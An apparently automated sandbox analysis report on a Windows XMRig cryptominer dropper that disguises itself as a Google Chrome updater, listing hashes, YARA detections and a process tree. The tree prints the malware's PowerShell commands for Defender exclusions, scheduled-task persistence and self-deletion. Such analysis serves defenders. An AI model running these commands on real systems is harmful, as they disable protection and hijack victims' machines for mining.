xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1773s
max time network
1804s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:19

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General

Target

qM5GMXBk6hJE6Y5e (4).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2256 created 1196	2256	qM5GMXBk6hJE6Y5e (4).exe	10
PID 2256 created 1196	2256	qM5GMXBk6hJE6Y5e (4).exe	10
PID 2256 created 1196	2256	qM5GMXBk6hJE6Y5e (4).exe	10
PID 2256 created 1196	2256	qM5GMXBk6hJE6Y5e (4).exe	10
PID 1040 created 1196	1040	updater.exe	10
PID 1040 created 1196	1040	updater.exe	10
PID 1040 created 1196	1040	updater.exe	10
PID 1040 created 1196	1040	updater.exe	10
PID 3056 created 1196	3056	conhost.exe	10
PID 1040 created 1196	1040	updater.exe	10

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral11/memory/2288-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-169-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-171-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-173-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-175-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-177-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-179-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2288-181-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2840	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1040	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2756	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2288-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-169-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-171-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-173-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-175-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-177-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-179-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2288-181-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1040 set thread context of 3056	1040	updater.exe	48
PID 1040 set thread context of 2288	1040	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (4).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2864	schtasks.exe
1076	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1676	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0ed494305d3d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2256	qM5GMXBk6hJE6Y5e (4).exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2504	powershell.exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2256	qM5GMXBk6hJE6Y5e (4).exe
3068	powershell.exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2256	qM5GMXBk6hJE6Y5e (4).exe
2896	powershell.exe
1040	updater.exe
1040	updater.exe
2372	powershell.exe
1040	updater.exe
1040	updater.exe
2412	powershell.exe
1040	updater.exe
1040	updater.exe
1040	updater.exe
1040	updater.exe
3056	conhost.exe
3056	conhost.exe
1040	updater.exe
1040	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	1040	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe
Token: SeLockMemoryPrivilege	2288	conhost.exe
Token: SeAssignPrimaryTokenPrivilege	1676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2864	3068	powershell.exe	32
PID 3068 wrote to memory of 2864	3068	powershell.exe	32
PID 3068 wrote to memory of 2864	3068	powershell.exe	32
PID 2840 wrote to memory of 2248	2840	cmd.exe	37
PID 2840 wrote to memory of 2248	2840	cmd.exe	37
PID 2840 wrote to memory of 2248	2840	cmd.exe	37
PID 2896 wrote to memory of 2516	2896	powershell.exe	38
PID 2896 wrote to memory of 2516	2896	powershell.exe	38
PID 2896 wrote to memory of 2516	2896	powershell.exe	38
PID 2756 wrote to memory of 1040	2756	taskeng.exe	40
PID 2756 wrote to memory of 1040	2756	taskeng.exe	40
PID 2756 wrote to memory of 1040	2756	taskeng.exe	40
PID 2412 wrote to memory of 1076	2412	powershell.exe	47
PID 2412 wrote to memory of 1076	2412	powershell.exe	47
PID 2412 wrote to memory of 1076	2412	powershell.exe	47
PID 1040 wrote to memory of 3056	1040	updater.exe	48
PID 3048 wrote to memory of 1676	3048	cmd.exe	53
PID 3048 wrote to memory of 1676	3048	cmd.exe	53
PID 3048 wrote to memory of 1676	3048	cmd.exe	53
PID 1040 wrote to memory of 2288	1040	updater.exe	54

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2864
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1076
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3056
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3008
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2288

C:\Windows\system32\taskeng.exe
taskeng.exe {D67B7DAB-E7FC-4354-86EE-12E83C6EF083} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
41f6c236774548a1a0450497e7fd82c0

SHA1
47afbb251d41339edd60873a18e7a0911ca2ad5a

SHA256
6ec184b5dd6beabfd40be31a3f89644e43b4859f32427665cb203cca7d1015ca

SHA512
28e2419a1fb8a3ab71a0a5527cc699d4b5ef0c966b77493bb92028b6bbc8b4bb08800c88c2d205d3fcb9fcd4d8f4fbce0b91599322bcaf9b03e01d6514dead81

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
41f6c236774548a1a0450497e7fd82c0

SHA1
47afbb251d41339edd60873a18e7a0911ca2ad5a

SHA256
6ec184b5dd6beabfd40be31a3f89644e43b4859f32427665cb203cca7d1015ca

SHA512
28e2419a1fb8a3ab71a0a5527cc699d4b5ef0c966b77493bb92028b6bbc8b4bb08800c88c2d205d3fcb9fcd4d8f4fbce0b91599322bcaf9b03e01d6514dead81

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GRD1TQXUB9THJ69PEK65.temp

Filesize
7KB

MD5
41f6c236774548a1a0450497e7fd82c0

SHA1
47afbb251d41339edd60873a18e7a0911ca2ad5a

SHA256
6ec184b5dd6beabfd40be31a3f89644e43b4859f32427665cb203cca7d1015ca

SHA512
28e2419a1fb8a3ab71a0a5527cc699d4b5ef0c966b77493bb92028b6bbc8b4bb08800c88c2d205d3fcb9fcd4d8f4fbce0b91599322bcaf9b03e01d6514dead81

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1040-98-0x000000013F430000-0x000000013F641000-memory.dmp

Filesize
2.1MB

Download
memory/1040-114-0x000000013F430000-0x000000013F641000-memory.dmp

Filesize
2.1MB

Download
memory/1040-116-0x000000013F430000-0x000000013F641000-memory.dmp

Filesize
2.1MB

Download
memory/2256-78-0x000000013F1C0000-0x000000013F3D1000-memory.dmp

Filesize
2.1MB

Download
memory/2256-53-0x000000013F1C0000-0x000000013F3D1000-memory.dmp

Filesize
2.1MB

Download
memory/2256-81-0x000000013F1C0000-0x000000013F3D1000-memory.dmp

Filesize
2.1MB

Download
memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-117-0x00000000002C0000-0x00000000002E0000-memory.dmp

Filesize
128KB

Download
memory/2288-181-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-179-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-177-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-175-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-173-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-171-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-169-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-127-0x0000000000BC0000-0x0000000000BE0000-memory.dmp

Filesize
128KB

Download
memory/2288-126-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2288-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-122-0x0000000000BC0000-0x0000000000BE0000-memory.dmp

Filesize
128KB

Download
memory/2288-121-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2372-104-0x000007FEF4C20000-0x000007FEF55BD000-memory.dmp

Filesize
9.6MB

Download
memory/2372-103-0x0000000000E50000-0x0000000000ED0000-memory.dmp

Filesize
512KB

Download
memory/2372-102-0x0000000000E50000-0x0000000000ED0000-memory.dmp

Filesize
512KB

Download
memory/2372-101-0x000007FEF4C20000-0x000007FEF55BD000-memory.dmp

Filesize
9.6MB

Download
memory/2372-100-0x0000000000E50000-0x0000000000ED0000-memory.dmp

Filesize
512KB

Download
memory/2372-99-0x000007FEF4C20000-0x000007FEF55BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-110-0x000007FEF4280000-0x000007FEF4C1D000-memory.dmp

Filesize
9.6MB

Download
